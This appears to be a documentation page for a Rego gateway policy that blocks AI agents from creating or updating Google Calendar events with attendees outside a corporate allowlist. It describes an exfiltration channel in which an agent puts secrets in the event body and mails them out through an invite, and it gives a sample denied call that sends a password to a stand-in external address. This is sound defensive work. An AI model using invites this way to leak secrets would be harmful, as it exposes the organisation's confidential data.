Block Calendar Invites to External Attendees
Denies Google Calendar event-write tool calls — create event / create-event, update event / update-event, and the consolidated manage event — whenever any…
- Direction
- ingress
- Rego package
google_calendar.ingress.guard_external_attendees- App
- google-calendar
- Bundles
- soc2hipaagdpr-ccpa
- Published
- Minimum gateway
- 1.0.0b24
- Schema version
- 1.0.0
- Checksum
sha256:8c2c26a8f6af21065976ab4bb529255ddbdd1b786db0f3b942287ee835b17aeb
google-calendarguard-external-sendingresscalendarsoc2hipaagdpr-ccpa
What this policy does
Direction: ingress (tool_pre_invoke)
Default: deny on match, allow otherwise
Package: google_calendar.ingress.guard_external_attendees
What it does
Denies Google Calendar event-write tool calls — create_event /
create-event, update_event / update-event, and the consolidated
manage_event — whenever any attendee address resolves to a domain outside
a documented corporate-domain allowlist. All other tool calls pass through
unchanged, and an event write with no attendees at all is allowed — there is
nothing external to email.
This closes the calendar-invite exfiltration channel: an agent can write
secrets into an event's summary, description, or location, add one
external address, and Google emails the event body outside the
organization when sendUpdates is all or externalOnly. Because the
invitation email is sent by Google the moment the write lands, egress
redaction cannot help — the only effective control is denying the write at
ingress, before it reaches the MCP server.
The check is fail-closed: an event write whose attendees / attendeeEmails
arguments are present but in a shape the policy cannot verify (wrong type,
entries without a usable address, malformed args) is denied, not skipped.
Callers whose input.subject.claims.groups include the placeholder
calendar-external-schedulers group are exempt, so legitimate cross-org
scheduling still works; a caller with no claims is never exempt.
Compliance alignment
- SOC 2 CC6.7 — supports the restriction on transmission/movement of information outside the boundary: event bodies carrying corporate content cannot be mailed to non-corporate domains via agent-created invites; P6.1 — supports limits on personal information disclosure to third parties over the agent's calendar path.
- HIPAA §164.530(c) — supports privacy safeguards by preventing an agent from pushing PHI-bearing event titles, descriptions, or locations to addresses outside the covered entity's domains via invitation email.
- GDPR Art. 5(1)(f) / Art. 32 — supports security of processing on the agent's calendar-write path; Arts. 44/46 — supports control over agent-visible cross-border transfers by pinning invite recipients to reviewed corporate domains.
Tool name matching
Tool names are read from both the PARC input.resource.name and the
still-populated legacy input.payload.name alias (they carry the same value
on tool_pre_invoke; checking both means a call with resource.name absent
still fails closed instead of slipping through as a non-write). Each name is
lowercased and - is normalized to _, then matched by suffix:
*create_event— official Google server (create_event, snake_case) and nspady/google-calendar-mcp (create-event, kebab-case, normalized)*update_event— same two servers (update_event/update-event)*manage_event— taylorwilsdon/google_workspace_mcp's consolidated write tool; see below
The DTwo gateway prefixes tool names with the configured MCP server name
(e.g. google-calendar-mcp-create-event), and that prefix is not
standardized — suffix matching keeps the policy portable. Verify the exact
name your gateway sends with the dump-input debug technique before relying
on this in production.
manage_event spans create, update, and delete behind one action
argument, so tool-name matching alone cannot scope it. The policy guards
manage_event for every action except an explicit delete (a delete
carries no attendee payload; denying deletes belongs to the
freeze-destructive-events companion). The upstream action vocabulary is
not fully verified, so a missing, empty, non-string, or unrecognized action
stays guarded — fail closed.
The read-only Claude connector (gcal_*) exposes no write tools, so nothing
it sends matches this policy.
Argument shape
Attendee addresses are read with object.get from two argument keys:
attendees— the nspady / official-server superset shape: an array of objects each carrying the address underemail([{"email": "a@example.com"}]). Bare address strings inside the array are also accepted defensively.attendeeEmails— an array of address strings. Verified on the official server'ssuggest_time(a read tool this policy does not guard); checked on writes defensively in case a server reuses the shape there.
Parsing is deliberately conservative: an address must contain exactly one
@ to yield a domain — entries with zero or multiple @ signs (including
several addresses smuggled into one entry) fail to parse and the write is
denied, not skipped. Domain comparison is exact and case-insensitive
(subdomains of an allowlisted domain do not match). An attendees /
attendeeEmails value that is present but not an array, an entry without a
usable address, or an args object that is not an object all deny the call
as unverifiable.
The domain allowlist ships with placeholder values (example.com,
example.org) — replace them with your organization's domains at import
time.
Examples
Allowed — internal attendees only
{
"input": {
"action": "tool_pre_invoke",
"resource": { "name": "google-calendar-mcp-create-event", "type": "tool" },
"payload": {
"name": "google-calendar-mcp-create-event",
"args": {
"summary": "Sprint review",
"attendees": [
{ "email": "alice@example.com" },
{ "email": "bob@example.org" }
],
"sendUpdates": "all"
}
}
}
}
allow = true, no reason.
Denied — external attendee on a secret-bearing event
{
"input": {
"action": "tool_pre_invoke",
"resource": { "name": "google-calendar-mcp-create-event", "type": "tool" },
"payload": {
"name": "google-calendar-mcp-create-event",
"args": {
"summary": "creds",
"description": "db password: hunter2",
"attendees": [{ "email": "drop@evil-example.net" }],
"sendUpdates": "all"
}
}
}
}
allow = false, reason instructs the caller to remove the external
attendees or request the exemption group.
Composition
This policy is single-purpose. Useful companions:
- A transform policy that rewrites
sendUpdatesto"none"on agent create/update/delete calls, so even allowed writes never blast invitation emails without a human deciding to send them. guard-public-exposure— deniesvisibility: "public",guestsCanModify, andanyoneCanAddSelf, closing the exposure and delegation channels this policy does not inspect.freeze-destructive-events— deniesdelete_event/delete-eventandmanage_eventdeletes, which this policy deliberately leaves alone.redact-attendee-pii— egress redaction of attendee lists and event bodies on the read side.- A
default-deny-unknown-tools(PF-28) allowlist policy, so a write tool with an unanticipated name cannot slip past suffix matching.
Known limitations
- Placeholders. The domain allowlist entries (
example.com,example.org) and the exemption group name (calendar-external-schedulers) are placeholders — replace them with your corporate domains and your IdP's group name at import time. manage_eventaction vocabulary is unverified. The taylorwilsdon README confirms create/update/delete are disambiguated by an action argument, but the exact argument name and its values are not published. The policy readsargs.actionand fails closed (guards the call) for anything other than a literaldelete; if that server spells the argument differently, calls stay guarded — over-denying, never over-allowing.manage_eventdeletes are not inspected. An explicitaction: "delete"bypasses this policy even if external addresses appear in its arguments (a delete does not create invites; cancellation mails go only to already-invited attendees). Pair withfreeze-destructive-eventsto control deletes.- Only
attendees/attendeeEmailsare inspected. A server exposing attendee addresses under a different key (e.g.guests) would not be checked; extend the extraction rules if your server does. Suffix matching likewise only covers the known write-tool vocabularies — pair with a PF-28 allowlist policy for deny-by-default coverage. - Event body content is not scanned. This policy blocks the delivery channel (external attendee), not the secret itself. An internal-only event containing secrets is allowed; compose with a DLP-style ingress policy if you need content inspection.
guestsCanInviteOthersresidual. An allowed internal-only event that leavesguestsCanInviteOthersenabled lets a human invitee add external guests later from the Calendar UI — outside the gateway's reach. Theguard-public-exposurecompanion narrows delegation flags.- Exemption takes precedence over the unverifiable-shape deny. The
calendar-external-schedulersexemption is evaluated before the fail-closed shape check, so an exempt caller's event write is allowed even when itsattendees/attendeeEmailsarguments are in a shape the policy cannot verify. This is intentional: exempt callers are already trusted to invite external attendees, so a malformed payload has no control to slip past, and the MCP server performs its own argument validation. The fail-closed unverifiable deny applies to non-exempt callers only.
Compliance note. This policy supports alignment with the cited framework controls on the MCP path only. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it.
Policy source (Rego)
package google_calendar.ingress.guard_external_attendees
# Deny-by-default: only the explicit allow rules below permit the request.
default allow := false
# Corporate email domain allowlist — PLACEHOLDER values. Replace with your
# organization's domains at import time.
allowed_domains := {
"example.com",
"example.org",
}
# IdP group whose members may invite external attendees through the agent.
# PLACEHOLDER — replace with your IdP's group name at import time.
exempt_group := "calendar-external-schedulers"
# --- Tool name matching ---
# Tool-name candidates: the PARC resource.name plus the (deprecated but still
# populated on tool hooks) payload.name alias. Reading both means a call whose
# resource.name is absent still fails closed rather than slipping through as a
# non-write. Each name is lowercased and "-" normalized to "_" so create_event
# (official Google, snake_case), create-event (nspady, kebab-case), and any
# gateway server-name prefix all land on the same suffix.
tool_names contains normalized if {
name := object.get(object.get(input, "resource", {}), "name", "")
is_string(name)
name != ""
normalized := replace(lower(name), "-", "_")
}
tool_names contains normalized if {
payload := object.get(input, "payload", {})
is_object(payload)
name := object.get(payload, "name", "")
is_string(name)
name != ""
normalized := replace(lower(name), "-", "_")
}
# Event-write suffix family: *create_event / *update_event across the official
# Google server and nspady (normalized above). The read-only Claude gcal_*
# connector exposes no write tools, so nothing it sends matches.
is_event_write if {
some name in tool_names
endswith(name, "create_event")
}
is_event_write if {
some name in tool_names
endswith(name, "update_event")
}
# Consolidated manage_event (taylorwilsdon) spans create, update, AND delete
# behind one action argument, so tool-name matching alone cannot scope it.
# Guard every action except an explicit delete: the upstream action vocabulary
# is not fully verified, so a missing, empty, non-string, or unrecognized
# action stays guarded (fail closed). A literal "delete" carries no attendee
# payload and is left to the freeze-destructive-events companion policy.
is_manage_event_tool if {
some name in tool_names
endswith(name, "manage_event")
}
is_event_write if {
is_manage_event_tool
not manage_action_is_delete
}
manage_action := lower(trim_space(raw)) if {
raw := object.get(args, "action", "")
is_string(raw)
}
manage_action_is_delete if {
manage_action == "delete"
}
# --- Argument access ---
# Tool arguments — defined only when payload and args are well-typed objects.
# When they are not, `args` is undefined, every rule that reads it fails
# silently, and the unverifiable deny below takes over.
args := value if {
payload := object.get(input, "payload", {})
is_object(payload)
value := object.get(payload, "args", {})
is_object(value)
}
args_malformed if {
not is_object(object.get(input, "payload", {}))
}
args_malformed if {
payload := object.get(input, "payload", {})
is_object(payload)
raw := object.get(payload, "args", null)
raw != null
not is_object(raw)
}
# --- Attendee extraction ---
# Calendar v3 / nspady superset shape: attendees is an array of objects, each
# carrying the attendee's address under "email".
attendee_emails contains email if {
value := object.get(args, "attendees", [])
is_array(value)
some entry in value
is_object(entry)
raw := object.get(entry, "email", "")
is_string(raw)
email := lower(trim_space(raw))
email != ""
}
# Defensive: accept attendees given as bare address strings.
attendee_emails contains email if {
value := object.get(args, "attendees", [])
is_array(value)
some entry in value
is_string(entry)
email := lower(trim_space(entry))
email != ""
}
# Official suggest_time shape (attendeeEmails: array of strings), checked on
# writes defensively in case a server reuses it there.
attendee_emails contains email if {
value := object.get(args, "attendeeEmails", [])
is_array(value)
some entry in value
is_string(entry)
email := lower(trim_space(entry))
email != ""
}
# --- Fail-closed verifiability checks ---
attendees_unverifiable if args_malformed
# attendees / attendeeEmails present but not an array.
attendees_unverifiable if {
value := object.get(args, "attendees", null)
value != null
not is_array(value)
}
attendees_unverifiable if {
value := object.get(args, "attendeeEmails", null)
value != null
not is_array(value)
}
# An attendees entry that is neither a non-empty address string nor an object
# with a non-empty string email cannot be checked — deny rather than skip.
attendees_unverifiable if {
value := object.get(args, "attendees", [])
is_array(value)
some entry in value
not attendee_entry_ok(entry)
}
attendees_unverifiable if {
value := object.get(args, "attendeeEmails", [])
is_array(value)
some entry in value
not attendee_email_string_ok(entry)
}
attendee_entry_ok(entry) if {
attendee_email_string_ok(entry)
}
attendee_entry_ok(entry) if {
is_object(entry)
raw := object.get(entry, "email", "")
is_string(raw)
trim_space(raw) != ""
}
attendee_email_string_ok(entry) if {
is_string(entry)
trim_space(entry) != ""
}
# --- Domain check ---
# Extract the domain of one attendee address. Deliberately conservative: the
# address must contain exactly one "@" — zero or multiple "@" signs (e.g. two
# addresses smuggled into one entry) yield no domain, so is_internal fails and
# the write is denied.
attendee_domain(email) := domain if {
parts := split(email, "@")
count(parts) == 2
# Strip only the TRAILING closing bracket (and stray trailing spaces) of a
# "Name <user@domain>" form. Must not trim the left of the domain: a leading
# ">" or space (e.g. "drop@>example.com", "drop@ example.com") is not a valid
# domain and must stay unrecognized so is_internal fails and the write is
# denied — trim() (both ends) would misread these as the allowlisted domain.
domain := trim_right(parts[1], "> ")
}
is_internal(email) if {
allowed_domains[attendee_domain(email)]
}
has_external_attendee if {
some email in attendee_emails
not is_internal(email)
}
# --- Exemption ---
# Exempt callers in the documented IdP group. Missing subject, claims, or
# groups means no exemption — the grant fails closed.
caller_exempt if {
subject := object.get(input, "subject", {})
claims := object.get(subject, "claims", {})
groups := object.get(claims, "groups", [])
some group in groups
group == exempt_group
}
# --- Allow rules ---
# Allow anything that is not a guarded calendar event write (reads, frees/busy,
# responds, explicit manage_event deletes, other apps' tools, ...).
allow if {
not is_event_write
}
allow if {
is_event_write
caller_exempt
}
# Allow an event write only when the attendee arguments are verifiable and no
# attendee resolves to a domain outside the allowlist. An event with no
# attendees at all passes — there is nothing external to email.
allow if {
is_event_write
not attendees_unverifiable
not has_external_attendee
}
# --- Deny reasons ---
reasons contains "This calendar event includes attendees outside the corporate domain allowlist. Google emails the event body to external attendees when updates are sent, so this invite could carry data out of the organization. Remove the external attendees, or ask your InfoSec team to add you to the calendar-external-schedulers group if cross-org scheduling is part of your role." if {
is_event_write
not caller_exempt
has_external_attendee
}
reasons contains "The attendee list on this calendar event is in a shape the policy cannot verify, so the call was denied as a precaution. Provide attendees as an array of objects with an email field, or attendeeEmails as an array of address strings. If this is a false positive, contact your InfoSec team." if {
is_event_write
not caller_exempt
attendees_unverifiable
}
reason := joined if {
count(reasons) > 0
reason_list := sort([r | some r in reasons])
joined := concat("; ", reason_list)
} Canonical source: policy.md on GitHub · raw · raw on this site (.md)
Related policies
Airtable: Redact PII in Record Reads
Scans the responses of the Airtable record-read tools — the calls that return row fields values — and rewrites high-confidence PII shapes to a fixed…
Asana: Redact PII in Task & Comment Reads
On the Asana MCP read path, this transform scans the free-text business fields that ride back in task, comment/story, and status-update responses — notes,…
BigQuery: Redact PII in Query Results
Scans the content returned by BigQuery's result-returning tools and rewrites high-confidence PII shapes to fixed, non-recoverable redaction tokens before the…
Block Agent Email to External Recipients
Blocks agent-initiated Microsoft 365 email sends when any recipient address falls outside a corporate-domain allowlist.
Block BigQuery Exfiltration and Cross-Project Writes
Inspects the raw GoogleSQL string carried by BigQuery SQL tools and denies any statement that moves data out of the tenant's own project — even when the call…
bigqueryguard-warehouse-exportingresssqlexfiltrationsoc2pci-dssgdpr-ccpa
Block Bulk Export & External Staging (Snowflake)
Blocks Snowflake SQL-execution tool calls whose query text moves whole tables off the Snowflake perimeter — bulk export to cloud storage or a stage, and…
snowflakeguard-warehouse-sqlexportexfiltrationingresssoc2pci-dssgdpr-ccpa